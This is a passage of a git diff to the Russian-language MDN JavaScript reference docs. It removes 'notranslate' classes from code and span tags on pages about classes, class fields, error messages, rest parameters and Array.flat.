следующего сгенерирует исключение типа {{jsxref("ReferenceError")}}:</p> -<pre class="brush: js notranslate"><code>var p = new Rectangle(); // ReferenceError +<pre class="brush: js"><code>var p = new Rectangle(); // ReferenceError class Rectangle {}</code></pre> @@ -41,7 +41,7 @@ class Rectangle {}</code></pre> <p>Второй способ определения класса — <strong>class expression (</strong><em>выражение класса</em><strong>)</strong>. Можно создавать именованные и безымянные выражения. В первом случае имя выражения класса находится в локальной области видимости класса и может быть получено через свойства самого класса, а не его экземпляра.</p> -<pre class="brush: js notranslate"><code>// безымянный +<pre class="brush: js"><code>// безымянный var Rectangle = class { constructor(height, width) { this.height = height; @@ -84,7 +84,7 @@ console.log(Rectangle.name); <p>Смотрите также <a href="/ru/docs/Web/JavaScript/Reference/Functions/%D0%9E%D0%BF%D1%80%D0%B5%D0%B4%D0%B5%D0%BB%D0%B8%D0%BD%D0%B8%D0%B5_%D0%BC%D0%B5%D1%82%D0%BE%D0%B4%D0%BE%D0%B2">определение методов</a>.</p> -<pre class="brush: js notranslate"><code>class Rectangle { +<pre class="brush: js"><code>class Rectangle { constructor(height, width) { this.height = height; this.width = width; @@ -107,7 +107,7 @@ console.log(square.area); // 100</code></pre> <p>Ключевое слово <code><a href="/en-US/docs/Web/JavaScript/Reference/Classes/static">static</a></code>, определяет статический метод или свойства для класса. Статические методы и свойства вызываются без <a href="/ru/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript#The_Object_.28Class_Instance.29">инстанцирования</a> их класса, и <strong>не могут</strong> быть вызваны у экземпляров (<em>instance</em>) класса. Статические методы, часто используются для создания служебных функций для приложения, в то время как статические свойства полезны для кеширования в рамках класса, фиксированной конфигурации или любых других целей, не связанных с реплецированием данных между экземплярами.</p> -<pre class="brush: js notranslate"><code>class Point { +<pre class="brush: js"><code>class Point { constructor(x, y) { this.x = x; this.y = y; @@ -136,7 +136,7 @@ console.log(Point.distance(p1, p2)); // 7.0710678118654755</code></pre> <p>Когда статический или прототипный метод вызывается без привязки к <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">this</span></font> объекта (или когда <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">this</span></font> является типом boolean, string, number, undefined, null), тогда <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">this</span></font> будет иметь значение <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">undefined</span></font> внутри вызываемой функции. Автоупаковка не будет произведена. Поведение будет таким же как если бы мы писали код в нестрогом режиме.</p> -<pre class="brush: js notranslate"><code>class Animal { +<pre class="brush: js"><code>class Animal { speak() { return this; } @@ -156,7 +156,7 @@ eat(); // undefined</code></pre> <p>Если мы напишем этот же код используя классы основанные на функциях, тогда произойдёт автоупаковка основанная на значении <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">this</span></font>, в течение которого функция была вызвана. В строгом режиме автоупаковка не произойдёт - значение <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">this</span></font> останется прежним.</p> -<pre class="brush: js notranslate"><code>function Animal() { } +<pre class="brush: js"><code>function Animal() { } Animal.prototype.speak = function(){ return this; @@ -178,7 +178,7 @@ eat(); // глобальный объект (нестрогий режим)</cod <p>Свойства экземпляра должны быть определены в методе класса:</p> -<pre class="notranslate">class Rectangle { +<pre>class Rectangle { constructor(height, width) { this.height = height; this.width = width; @@ -187,7 +187,7 @@ eat(); // глобальный объект (нестрогий режим)</cod <p>Статические (class-side) свойства и свойства прототипа должны быть определены за рамками тела класса:</p> -<pre class="notranslate">Rectangle.staticWidth = 20; +<pre>Rectangle.staticWidth = 20; Rectangle.prototype.prototypeWidth = 25; </pre> @@ -201,7 +201,7 @@ Rectangle.prototype.prototypeWidth = 25; <p>Используя Javascript синтаксис определения полей, приведённый выше пример может быть изменён следующим образом:</p> -<pre class="notranslate">class Rectangle { +<pre>class Rectangle { height = 0; width; constructor(height, width) { @@ -218,7 +218,7 @@ Rectangle.prototype.prototypeWidth = 25; <p>Предыдущий пример может быть изменён следующим образом, используя приватные поля:</p> -<pre class="notranslate">class Rectangle { +<pre>class Rectangle { #height = 0; #width; constructor(height, width) { @@ -241,7 +241,7 @@ Rectangle.prototype.prototypeWidth = 25; <p>Ключевое слово <code><a href="/en-US/docs/Web/JavaScript/Reference/Classes/extends">extends</a></code> используется в <em>объявлениях классов</em> и <em>выражениях классов</em> для создания класса, дочернего относительно другого класса.</p> -<pre class="brush: js notranslate"><code class="language-js">class Animal { +<pre class="brush: js"><code class="language-js">class Animal { constructor(name) { this.name = name; }</code> @@ -268,7 +268,7 @@ d.speak(); // Митци лает</code></pre> <p>Аналогичным образом можно расширять традиционные, основанные на функциях "классы":</p> -<pre class="brush: js line-numbers language-js notranslate"><code class="language-js">function Animal (name) { +<pre class="brush: js line-numbers language-js"><code class="language-js">function Animal (name) { this.name = name; } Animal.prototype.speak = function () { @@ -288,7 +288,7 @@ d.speak(); // Митци лает <p>Обратите внимание, что классы не могут расширять обычные (non-constructible) объекты. Если вам необходимо создать наследование от обычного объекта, в качестве замены можно использовать {{jsxref("Object.setPrototypeOf()")}}:</p> -<pre class="brush: js line-numbers language-js notranslate"><code class="language-js">var Animal = { +<pre class="brush: js line-numbers language-js"><code class="language-js">var Animal = { speak() { console.log(</code>`${this.name} издаёт звук.`<code class="language-js">); } @@ -312,7 +312,7 @@ d.speak(); // Митци издаёт звук.</code></pre> <p>Например, при использовании таких методов, как {{jsxref("Array.map", "map()")}}, который возвращает конструктор по умолчанию, вам хотелось бы, чтобы они возвращали родительский объект <code>Array</code> вместо объекта <code>MyArray</code>. Символ {{jsxref("Symbol.species")}} позволяет это реализовать:</p> -<pre class="brush: js line-numbers language-js notranslate"><code class="language-js">class MyArray extends Array { +<pre class="brush: js line-numbers language-js"><code class="language-js">class MyArray extends Array { // Изменить species на родительский конструктор Array static get [Symbol.species]() { return Array; } } @@ -326,7 +326,7 @@ console.log(mapped instanceof Array); // true</code></pre> <p>Ключевое слово <code><a href="/ru/docs/Web/JavaScript/Reference/Operators/super">super</a></code> используется для вызова функций на родителе объекта.</p> -<pre class="brush: js language-js notranslate"><code class="language-js">class Cat { +<pre class="brush: js language-js"><code class="language-js">class Cat { constructor(name) { this.name = name; } @@ -355,7 +355,7 @@ l.speak(); <p>Для реализации mix-ins в ECMAScript можно использовать функцию, которая в качестве аргумента принимает родительский класс, а возвращает подкласс, его расширяющий:</p> -<pre class="brush: js line-numbers language-js notranslate"><code class="language-js">var calculatorMixin = Base => class extends Base { +<pre class="brush: js line-numbers language-js"><code class="language-js">var calculatorMixin = Base => class extends Base { calc() { } }; @@ -365,7 +365,7 @@ var randomizerMixin = Base => class extends Base { <p>Класс, использующий такие mix-ins, можно описать следующим образом:</p> -<pre class="brush: js line-numbers language-js notranslate"><code class="language-js">class Foo { } +<pre class="brush: js line-numbers language-js"><code class="language-js">class Foo { } class Bar extends calculatorMixin(randomizerMixin(Foo)) { }</code></pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/javascript/reference/classes/private_class_fields/index.html b/files/ru/web/javascript/reference/classes/private_class_fields/index.html index 356e8b5517..597d98ebeb 100644 --- a/files/ru/web/javascript/reference/classes/private_class_fields/index.html +++ b/files/ru/web/javascript/reference/classes/private_class_fields/index.html @@ -10,7 +10,7 @@ original_slug: Web/JavaScript/Reference/Classes/Приватные_поля_кл <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">class ClassWithPrivateField { +<pre class="syntaxbox">class ClassWithPrivateField { #privateField } @@ -33,7 +33,7 @@ class ClassWithPrivateStaticField { <p>Ограничение статических переменных, вызываемых только статическими методами, все ещё сохраняется.</p> -<pre class="brush: js notranslate">class ClassWithPrivateStaticField { +<pre class="brush: js">class ClassWithPrivateStaticField { static #PRIVATE_STATIC_FIELD static publicStaticMethod() { @@ -50,7 +50,7 @@ console.assert(ClassWithPrivateStaticField.publicStaticMethod() === 42)</pre> <p>Это может привести к неожиданному поведению при использовании this.</p> -<pre class="brush: js notranslate">class BaseClassWithPrivateStaticField { +<pre class="brush: js">class BaseClassWithPrivateStaticField { static #PRIVATE_STATIC_FIELD static basePublicStaticMethod() { @@ -76,7 +76,7 @@ console.assert(error instanceof TypeError) <p><span class="tlid-translation translation" lang="ru"><span title="">Инкапсуляция обеспечивается языком.</span> <span title="">Обращение к <code>#</code> именам вне области видимости является синтаксической ошибкой.</span></span></p> -<pre class="brush: js notranslate">class ClassWithPrivateField { +<pre class="brush: js">class ClassWithPrivateField { #privateField constructor() { @@ -99,7 +99,7 @@ instance.#privateField === 42 // Syntax error <p>Приватные статические методы могут быть генераторами, асинхронными функциями и асинхронными функциями-генераторами.</p> -<pre class="brush: js notranslate">class ClassWithPrivateStaticMethod { +<pre class="brush: js">class ClassWithPrivateStaticMethod { static #privateStaticMethod() { return 42 } @@ -119,7 +119,7 @@ console.assert(ClassWithPrivateStaticMethod.publicStaticMethod2() === 42); <p>Это может привести к неожиданному поведению при его использовании <strong><code>this</code></strong>. В следующем примере <code>this</code> относится к классу <code>Derived</code> (а не к классу <code>Base</code>), когда мы пытаемся вызвать <code>Derived.publicStaticMethod2()</code>, и, таким образом, имеет такое же "ограничение по происхождению", как упоминалось выше:</p> -<pre class="brush: js notranslate">class Base { +<pre class="brush: js">class Base { static #privateStaticMethod() { return 42; } @@ -141,7 +141,7 @@ console.log(Derived.publicStaticMethod2()); // TypeError <p>Приватные методы экземпляров это методы, доступные у экземпляров класса, доступ к которым запрещён также, как у приватных полей класса.</p> -<pre class="brush: js notranslate">class ClassWithPrivateMethod { +<pre class="brush: js">class ClassWithPrivateMethod { #privateMethod() { return 'hello world' } @@ -157,7 +157,7 @@ console.log(instance.getPrivateMessage()) <p>Приватные методы экземпляров могут быть генератором, async, или функциями async генератора. Приватные геттеры и сеттеры также возможны:</p> -<pre class="brush: js notranslate">class ClassWithPrivateAccessor { +<pre class="brush: js">class ClassWithPrivateAccessor { #message get #decoratedMessage() { diff --git a/files/ru/web/javascript/reference/classes/public_class_fields/index.html b/files/ru/web/javascript/reference/classes/public_class_fields/index.html index 865babfded..0c4eb7a7ea 100644 --- a/files/ru/web/javascript/reference/classes/public_class_fields/index.html +++ b/files/ru/web/javascript/reference/classes/public_class_fields/index.html @@ -47,7 +47,7 @@ class ClassWithPublicInstanceMethod { <p>Публичные статические поля объявляются при помощи ключевого слова <code>static</code>. Они добавляются в конструктор класса во время его создания с помощью {{jsxref("Global_Objects/Object/defineProperty", "Object.defineProperty()")}}. Доступ также осуществляется через конструктор класса.</p> -<pre class="brush: js notranslate">class ClassWithStaticField { +<pre class="brush: js">class ClassWithStaticField { static staticField = 'static field'; } @@ -57,7 +57,7 @@ console.log(ClassWithStaticField.staticField); <p>Поля без инициализации имеют значение <code>undefined</code>.</p> -<pre class="brush: js notranslate">class ClassWithStaticField { +<pre class="brush: js">class ClassWithStaticField { static staticField; } @@ -67,7 +67,7 @@ console.log(ClassWithStaticField.staticField); <p>Публичные статические поля не переопределяются в наследниках класса, а могут быть доступны через иерархию прототипов.</p> -<pre class="brush: js notranslate">class ClassWithStaticField { +<pre class="brush: js">class ClassWithStaticField { static baseStaticField = 'base field'; } @@ -83,7 +83,7 @@ console.log(SubClassWithStaticField.baseStaticField); <p>При определении полей <code>this</code> ссылается на конструктор класса. Также можно обратиться к нему по имени и использовать <code>super</code> для получения конструктора базового класса, если он существует.</p> -<pre class="brush: js notranslate">class ClassWithStaticField { +<pre class="brush: js">class ClassWithStaticField { static baseStaticField = 'base static field'; static anotherBaseStaticField = this.baseStaticField; @@ -108,7 +108,7 @@ console.log(SubClassWithStaticField.subStaticField); <p>Публичные поля экземпляра добавляются через {{jsxref("Global_Objects/Object/defineProperty", "Object.defineProperty()")}} либо перед тем, как будет исполнено тело конструктора в базовом классе, либо после того, как завершится <code>super()</code> в классе наследнике.</p> -<pre class="brush: js notranslate">class ClassWithInstanceField { +<pre class="brush: js">class ClassWithInstanceField { instanceField = 'instance field'; } @@ -118,7 +118,7 @@ console.log(instance.instanceField); <p>Поля без инициализации имеют значение <code>undefined</code>.</p> -<pre class="brush: js notranslate">class ClassWithInstanceField { +<pre class="brush: js">class ClassWithInstanceField { instanceField; } @@ -129,7 +129,7 @@ console.log(instance.instanceField); <p>Как и свойства, названия полей могут вычисляться.</p> -<pre class="brush: js notranslate">const PREFIX = 'prefix'; +<pre class="brush: js">const PREFIX = 'prefix'; class ClassWithComputedFieldName { [`${PREFIX}Field`] = 'prefixed field'; @@ -141,7 +141,7 @@ console.log(instance.prefixField); <p>При определении полей <code>this</code> ссылается на создающийся экземпляр класса. Как и в публичных методах экземпляра, получить доступ к прототипу базового класса можно с помощью <code>super</code>.</p> -<pre class="brush: js notranslate">class ClassWithInstanceField { +<pre class="brush: js">class ClassWithInstanceField { baseInstanceField = 'base field'; anotherBaseInstanceField = this.baseInstanceField; baseInstanceMethod() { return 'base method output'; } @@ -166,7 +166,7 @@ console.log(sub.subInstanceField); <p>Ключевое слово <code><strong>static</strong></code> объявляет статический метод класса. Статические методы не вызываются из экземпляра, вместо этого они вызывается из самого класса. Чаще всего это какие-либо служебные функции, такие как функции создания или копирования объектов.</p> -<pre class="brush: js notranslate">class ClassWithStaticMethod { +<pre class="brush: js">class ClassWithStaticMethod { static staticMethod() { return 'static method has been called.'; } @@ -182,7 +182,7 @@ console.log(ClassWithStaticMethod.staticMethod()); <p>Как и следует из названия, публичные методы экземпляра это методы, доступные для вызова из экземпляров.</p> -<pre class="brush: js notranslate">class ClassWithPublicInstanceMethod { +<pre class="brush: js">class ClassWithPublicInstanceMethod { publicMethod() { return 'hello world'; } @@ -196,7 +196,7 @@ console.log(instance.publicMethod()); <p>Вы можете использовать генераторы, асинхронные функции и асинхронные генераторы.</p> -<pre class="brush: js notranslate">class ClassWithFancyMethods { +<pre class="brush: js">class ClassWithFancyMethods { *generatorMethod() { } async asyncMethod() { } async *asyncGeneratorMethod() { } @@ -205,7 +205,7 @@ console.log(instance.publicMethod()); <p>Внутри методов экземпляра, <code>this</code> ссылается на сам экземпляр.<br> В классах наследниках, <code>super</code> даёт доступ к прототипу базового класса, позволяя вызывать его методы.</p> -<pre class="brush: js notranslate">class BaseClass { +<pre class="brush: js">class BaseClass { msg = 'hello world'; basePublicMethod() { return this.msg; @@ -225,7 +225,7 @@ console.log(instance.subPublicMethod()); <p>Геттеры и сеттеры это специальные методы, которые привязаны к свойствам класса и которые вызываются, когда к свойству обращаются или записывают. Используйте <a href="/ru/docs/Web/JavaScript/Reference/Functions/get">get</a> и <a href="/ru/docs/Web/JavaScript/Reference/Functions/set">set</a> для объявления публичных геттеров и сеттеров экземпляра.</p> -<pre class="brush: js notranslate">class ClassWithGetSet { +<pre class="brush: js">class ClassWithGetSet { #msg = 'hello world'; get msg() { return this.#msg; diff --git a/files/ru/web/javascript/reference/errors/bad_radix/index.html b/files/ru/web/javascript/reference/errors/bad_radix/index.html index c4cc82a20b..002078bc54 100644 --- a/files/ru/web/javascript/reference/errors/bad_radix/index.html +++ b/files/ru/web/javascript/reference/errors/bad_radix/index.html @@ -21,11 +21,11 @@ RangeError: toString() radix argument must be between 2 and 36 (Chrome) <h2 id="Что_пошло_не_так">Что пошло не так?</h2> -<p><span class="notranslate">Метод </span> {{jsxref("Number.prototype.toString()")}} <span class="notranslate">был вызван с дополнительным параметром <code>radix</code>.</span> <span class="notranslate"> Его значение должно быть целым числом, принадлежащим промежутку от 2 до 36 и указывающим основание системы счисления, которая должна быть использована для представления численных значений.</span> <span class="notranslate"> Например, десятичное (основание 10) число 169 представляется в шестнадцатеричном виде (основание 16) как A9.</span></p> +<p><span>Метод </span> {{jsxref("Number.prototype.toString()")}} <span>был вызван с дополнительным параметром <code>radix</code>.</span> <span> Его значение должно быть целым числом, принадлежащим промежутку от 2 до 36 и указывающим основание системы счисления, которая должна быть использована для представления численных значений.</span> <span> Например, десятичное (основание 10) число 169 представляется в шестнадцатеричном виде (основание 16) как A9.</span></p> -<p><span class="notranslate">Почему значение этого параметра не может быть больше, чем 36? Для оснований</span><span class="notranslate">, превышающих 10, в качестве цифр используются алфавитные символы;</span> <span class="notranslate"> следовательно, основание не может быть больше 36, поскольку в латинском алфавите (используемом английским и многими другими языками) только 26 символов.</span></p> +<p><span>Почему значение этого параметра не может быть больше, чем 36? Для оснований</span><span>, превышающих 10, в качестве цифр используются алфавитные символы;</span> <span> следовательно, основание не может быть больше 36, поскольку в латинском алфавите (используемом английским и многими другими языками) только 26 символов.</span></p> -<p><span class="notranslate">Наиболее распространённые основания систем счисления:</span></p> +<p><span>Наиболее распространённые основания систем счисления:</span></p> <ul> <li>2 для <a href="https://ru.wikipedia.org/wiki/Двоичная_система_счисления">двоичных чисел</a>,</li> @@ -36,7 +36,7 @@ RangeError: toString() radix argument must be between 2 and 36 (Chrome) <h2 id="Примеры">Примеры</h2> -<h3 class="highlight-spanned" id="Некорректное_применение"><span class="highlight-span"><span class="notranslate">Некорректное применение</span></span></h3> +<h3 class="highlight-spanned" id="Некорректное_применение"><span class="highlight-span"><span>Некорректное применение</span></span></h3> <pre class="brush: js example-bad">(42).toString(0); (42).toString(1); @@ -54,7 +54,7 @@ RangeError: toString() radix argument must be between 2 and 36 (Chrome) (100000).toString(16) // "186a0" (шестнадцатеричная) </pre> -<h2 id="Смотрите_также"><span class="notranslate">Смотрите также</span></h2> +<h2 id="Смотрите_также"><span>Смотрите также</span></h2> <ul> <li>{{jsxref("Number.prototype.toString()")}}</li> diff --git a/files/ru/web/javascript/reference/errors/cant_assign_to_property/index.html b/files/ru/web/javascript/reference/errors/cant_assign_to_property/index.html index 60d17cbcfb..d1316fe4f9 100644 --- a/files/ru/web/javascript/reference/errors/cant_assign_to_property/index.html +++ b/files/ru/web/javascript/reference/errors/cant_assign_to_property/index.html @@ -9,7 +9,7 @@ translation_of: Web/JavaScript/Reference/Errors/Cant_assign_to_property <h2 id="Message">Message</h2> -<pre class="syntaxbox notranslate">TypeError: <code class="highlighted" id="line-87">can't assign to property "x" on {y}: not an object</code> (Firefox) +<pre class="syntaxbox">TypeError: <code class="highlighted" id="line-87">can't assign to property "x" on {y}: not an object</code> (Firefox) TypeError: Cannot create property 'x' on {y} (Chrome) </pre> @@ -27,7 +27,7 @@ TypeError: Cannot create property 'x' on {y} (Chrome) <h3 id="Invalid_cases">Invalid cases</h3> -<pre class="brush: js example-bad notranslate">'use strict'; +<pre class="brush: js example-bad">'use strict'; var foo = "my string"; // The following line does nothing if not in strict mode. @@ -38,7 +38,7 @@ foo.bar = {}; // <span class="message-body-wrapper"><span class="message-flex-bo <p>Either fix the code to prevent the <a href="/en-US/docs/Glossary/primitive">primitive</a> from being used in such places, or fix the issue is to create the object equivalent {{jsxref("Object")}}.</p> -<pre class="brush: js example-good notranslate">'use strict'; +<pre class="brush: js example-good">'use strict'; var foo = new String("my string"); foo.bar = {}; diff --git a/files/ru/web/javascript/reference/errors/cyclic_object_value/index.html b/files/ru/web/javascript/reference/errors/cyclic_object_value/index.html index 7eecd4634b..246bb98a4c 100644 --- a/files/ru/web/javascript/reference/errors/cyclic_object_value/index.html +++ b/files/ru/web/javascript/reference/errors/cyclic_object_value/index.html @@ -10,7 +10,7 @@ translation_of: Web/JavaScript/Reference/Errors/Cyclic_object_value <h2 id="Сообщения">Сообщения</h2> -<pre class="syntaxbox notranslate">TypeError: циклическое значение объекта (Firefox) +<pre class="syntaxbox">TypeError: циклическое значение объекта (Firefox) TypeError: преобразование круговой структуры в JSON (Chrome и Opera) TypeError: циклическая ссылка в аргументе значения не поддерживается (Edge) </pre> @@ -27,13 +27,13 @@ TypeError: циклическая ссылка в аргументе значе <p>В круговой структуре как эта</p> -<pre class="brush: js notranslate">var circularReference = {otherData: 123}; +<pre class="brush: js">var circularReference = {otherData: 123}; circularReference.myself = circularReference; </pre> <p>{{jsxref("JSON.stringify()")}} закончится неудачей</p> -<pre class="brush: js example-bad notranslate">JSON.stringify(circularReference); +<pre class="brush: js example-bad">JSON.stringify(circularReference); // TypeError: циклическое значение объекта </pre> @@ -45,7 +45,7 @@ circularReference.myself = circularReference; -<pre class="brush: js notranslate">const getCircularReplacer = () => { +<pre class="brush: js">const getCircularReplacer = () => { const seen = new WeakSet(); return (key, value) => { if (typeof value === "object" && value !== null) { diff --git a/files/ru/web/javascript/reference/errors/missing_curly_after_property_list/index.html b/files/ru/web/javascript/reference/errors/missing_curly_after_property_list/index.html index d1a9834174..cd14e4a559 100644 --- a/files/ru/web/javascript/reference/errors/missing_curly_after_property_list/index.html +++ b/files/ru/web/javascript/reference/errors/missing_curly_after_property_list/index.html @@ -20,13 +20,13 @@ translation_of: Web/JavaScript/Reference/Errors/Missing_curly_after_property_lis <h2 id="Что_пошло_не_так">Что пошло не так?</h2> -<p><span class="notranslate">Произошла ошибка в синтаксисе <a href="/ru/docs/Web/JavaScript/Reference/Operators/Object_initializer">инициализатора объекта</a>.</span> <span class="notranslate">Причиной может быть отсутствующая фигурная скобка или, к примеру, недостающая запятая.</span> <span class="notranslate"> Также проверьте, в правильном ли порядке расположены закрывающие круглые и фигурные скобки.</span> Добавление отступов или <span class="notranslate">форматирование кода в более благоприятный вид также могут помочь разобраться в беспорядке.</span></p> +<p><span>Произошла ошибка в синтаксисе <a href="/ru/docs/Web/JavaScript/Reference/Operators/Object_initializer">инициализатора объекта</a>.</span> <span>Причиной может быть отсутствующая фигурная скобка или, к примеру, недостающая запятая.</span> <span> Также проверьте, в правильном ли порядке расположены закрывающие круглые и фигурные скобки.</span> Добавление отступов или <span>форматирование кода в более благоприятный вид также могут помочь разобраться в беспорядке.</span></p> <h2 id="Примеры">Примеры</h2> -<h3 class="highlight-spanned" id="Забытая_запятая"><span class="highlight-span"><span class="notranslate">Забытая запятая</span></span></h3> +<h3 class="highlight-spanned" id="Забытая_запятая"><span class="highlight-span"><span>Забытая запятая</span></span></h3> -<p><span class="notranslate">Зачастую в коде инициализатора объекта есть недостающая запятая:</span></p> +<p><span>Зачастую в коде инициализатора объекта есть недостающая запятая:</span></p> <pre class="brush: js example-bad">var obj = { a: 1, @@ -44,8 +44,8 @@ translation_of: Web/JavaScript/Reference/Errors/Missing_curly_after_property_lis }; </pre> -<h2 id="Смотрите_также"><span class="notranslate">Смотрите также</span></h2> +<h2 id="Смотрите_также"><span>Смотрите также</span></h2> <ul> - <li><span class="notranslate"><a href="/ru/docs/Web/JavaScript/Reference/Operators/Object_initializer">Инициализация объектов</a></span></li> + <li><span><a href="/ru/docs/Web/JavaScript/Reference/Operators/Object_initializer">Инициализация объектов</a></span></li> </ul> diff --git a/files/ru/web/javascript/reference/functions/rest_parameters/index.html b/files/ru/web/javascript/reference/functions/rest_parameters/index.html index 73598d94b7..2ec6bf462a 100644 --- a/files/ru/web/javascript/reference/functions/rest_parameters/index.html +++ b/files/ru/web/javascript/reference/functions/rest_parameters/index.html @@ -15,7 +15,7 @@ translation_of: Web/JavaScript/Reference/Functions/rest_parameters <h2 id="Syntax">Синтаксис</h2> -<pre class="brush: js notranslate">function(a, b, ...theArgs) { +<pre class="brush: js">function(a, b, ...theArgs) { // ... } </pre> @@ -24,7 +24,7 @@ translation_of: Web/JavaScript/Reference/Functions/rest_parameters <p>Если последний именованный аргумент функции имеет префикс <code>...</code>, он автоматически становится массивом с элементами от <code>0</code> до <code>theArgs.length-1</code> в соответствии с актуальным количеством аргументов, переданных в функцию.</p> -<pre class="brush: js notranslate">function myFun(a, b, ...manyMoreArgs) { +<pre class="brush: js">function myFun(a, b, ...manyMoreArgs) { console.log("a", a); console.log("b", b); console.log("manyMoreArgs", manyMoreArgs); @@ -52,7 +52,7 @@ myFun("один", "два", "три", "четыре", "пять", "шесть"); <p>Остаточные параметры были введены для уменьшения количества шаблонного кода:</p> -<pre class="brush: js notranslate">// До появления остаточных параметров "arguments" конвертировали в обычный массив используя: +<pre class="brush: js">// До появления остаточных параметров "arguments" конвертировали в обычный массив используя: function f(a, b) { @@ -78,7 +78,7 @@ function f(...args) { <p>Остаточные параметры могут быть деструктурированы (только массивы). Это означает, что их данные могут быть заданы как отдельные значения. Смотрите <a href="/ru/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">Деструктурирующее присваивание</a>.</p> -<pre class="notranslate"><code>function f(...[a, b, c]) { +<pre><code>function f(...[a, b, c]) { return a + b + c; } @@ -90,7 +90,7 @@ f(1, 2, 3, 4) // 6 (четвёртый параметр не деструкту <p>В этом примере первый аргумент задан как <code>"a"</code>, второй как <code>"b"</code>, так что эти аргументы используются как обычно. Однако третий аргумент <code>"manyMoreArgs"</code> будет массивом, который содержит 3-й, 4-й, 5-й, 6-й ... n-й аргументы, которые передаст пользователь.</p> -<pre class="brush: js notranslate">function myFun(a, b, ...manyMoreArgs) { +<pre class="brush: js">function myFun(a, b, ...manyMoreArgs) { console.log("a", a); console.log("b", b); console.log("manyMoreArgs", manyMoreArgs); @@ -104,7 +104,7 @@ myFun("один", "два", "три", "четыре", "пять", "шесть"); <p>Ниже... даже если передано одно значение последним аргументом, оно всё равно помещается в массив.</p> -<pre class="brush: js notranslate">// использование той же функции, что и в примере выше +<pre class="brush: js">// использование той же функции, что и в примере выше myFun("один", "два", "три"); @@ -114,7 +114,7 @@ myFun("один", "два", "три"); <p>Ниже... третий аргумент не был передан, но "manyMoreArgs" всё ещё массив (хотя и пустой).</p> -<pre class="brush: js notranslate">// использование той же функции, что и в примере выше +<pre class="brush: js">// использование той же функции, что и в примере выше myFun("один", "два"); @@ -124,7 +124,7 @@ myFun("один", "два"); <p>Поскольку <code>theArgs</code> является массивом, количество элементов в нём определяется свойством <code>length</code>:</p> -<pre class="brush: js notranslate">function fun1(...theArgs) { +<pre class="brush: js">function fun1(...theArgs) { console.log(theArgs.length); } @@ -134,7 +134,7 @@ fun1(5, 6, 7); // 3</pre> <p>В следующем примере, остаточные параметры используются для сбора всех аргументов после первого в массив. Каждый из них умножается на первый параметр и возвращается массив:</p> -<pre class="brush: js notranslate"><code>function multiply(multiplier, ...theArgs) { +<pre class="brush: js"><code>function multiply(multiplier, ...theArgs) { return theArgs.map(function(element) { return multiplier * element; }); @@ -145,7 +145,7 @@ console.log(arr); // [2, 4, 6]</code></pre> <p>Методы <code>Array</code> могут быть использованы на остаточных параметрах, но не на объекте <code>arguments</code>: </p> -<pre class="brush: js notranslate">function sortRestArgs(...theArgs) { +<pre class="brush: js">function sortRestArgs(...theArgs) { var sortedArgs = theArgs.sort(); return sortedArgs; } @@ -162,7 +162,7 @@ console.log(sortArguments(5, 3, 7, 1)); // TypeError (arguments.sort is not a fu <p>Чтобы использовать методы <code>Array</code> на объекте <code>arguments</code>, нужно преобразовать его в настоящий массив.</p> -<pre class="brush: js notranslate"><code>function sortArguments() { +<pre class="brush: js"><code>function sortArguments() { var args = Array.from(arguments); var sortedArgs = args.sort(); return sortedArgs; diff --git a/files/ru/web/javascript/reference/global_objects/array/flat/index.html b/files/ru/web/javascript/reference/global_objects/array/flat/index.html index eaa8167868..202898bb9d 100644 --- a/files/ru/web/javascript/reference/global_objects/array/flat/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/flat/index.html @@ -20,7 +20,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/flat <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><var>var newArray = arr</var>.flat(<var>depth</var>);</pre> +<pre class="syntaxbox"><var>var newArray = arr</var>.flat(<var>depth</var>);</pre> <h3 id="Параметры">Параметры</h3> @@ -37,7 +37,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/flat <h3 id="Упрощение_вложенных_массивов">Упрощение вложенных массивов</h3> -<pre class="brush: js notranslate">var arr1 = [1, 2, [3, 4]]; +<pre class="brush: js">var arr1 = [1, 2, [3, 4]]; arr1.flat(); // [1, 2, 3, 4] @@ -57,7 +57,7 @@ arr4.flat(Infinity); <p>Метод flat удаляет пустые слоты из массива:</p> -<pre class="brush: js notranslate">var arr4 = [1, 2, , 4, 5]; +<pre class="brush: js">var arr4 = [1, 2, , 4, 5]; arr4.flat(); // [1, 2, 4, 5] </pre> @@ -66,7 +66,7 @@ arr4.flat(); <h3 id="reduce_и_concat"><code>reduce</code> и <code>concat</code></h3> -<pre class="brush: js notranslate">var arr1 = [1, 2, [3, 4]]; +<pre class="brush: js">var arr1 = [1, 2, [3, 4]]; arr1.flat(); // В одномерный массив @@ -76,7 +76,7 @@ arr1.reduce((acc, val) => acc.concat(val), []);// [1, 2, 3, 4] const flatSingle = arr => [].concat(...arr); </pre> -<pre class="brush: js notranslate">// Для развёртывания многомерных массивов используем рекурсию, reduce и concat +<pre class="brush: js">// Для развёртывания многомерных массивов используем рекурсию, reduce и concat const arr = [1, 2, [3, 4, [5, 6]]]; function flatDeep(arr, d = 1) { @@ -87,7 +87,7 @@ function flatDeep(arr, d = 1) { flatDeep(arr, Infinity); // [1, 2, 3, 4, 5, 6]</pre> -<pre class="brush: js notranslate">//не рекурсивное упрощение с использованием стэка +<pre class="brush: js">//не рекурсивное упрощение с использованием стэка var arr1 = [1,2,3,[1,2,3,4, [2,3,4]]]; function flatten(input) { const stack = [...input]; @@ -108,7 +108,7 @@ function flatten(input) { flatten(arr1);// [1, 2, 3, 1, 2, 3, 4, 2, 3, 4] </pre> -<pre class="brush: js notranslate">//рекурсивно упрощаем массив +<pre class="brush: js">//рекурсивно упрощаем массив function flatten(array) { var flattend = []; (function flat(array) { diff --git a/files/ru/web/javascript/reference/global_objects/array/map/index.html 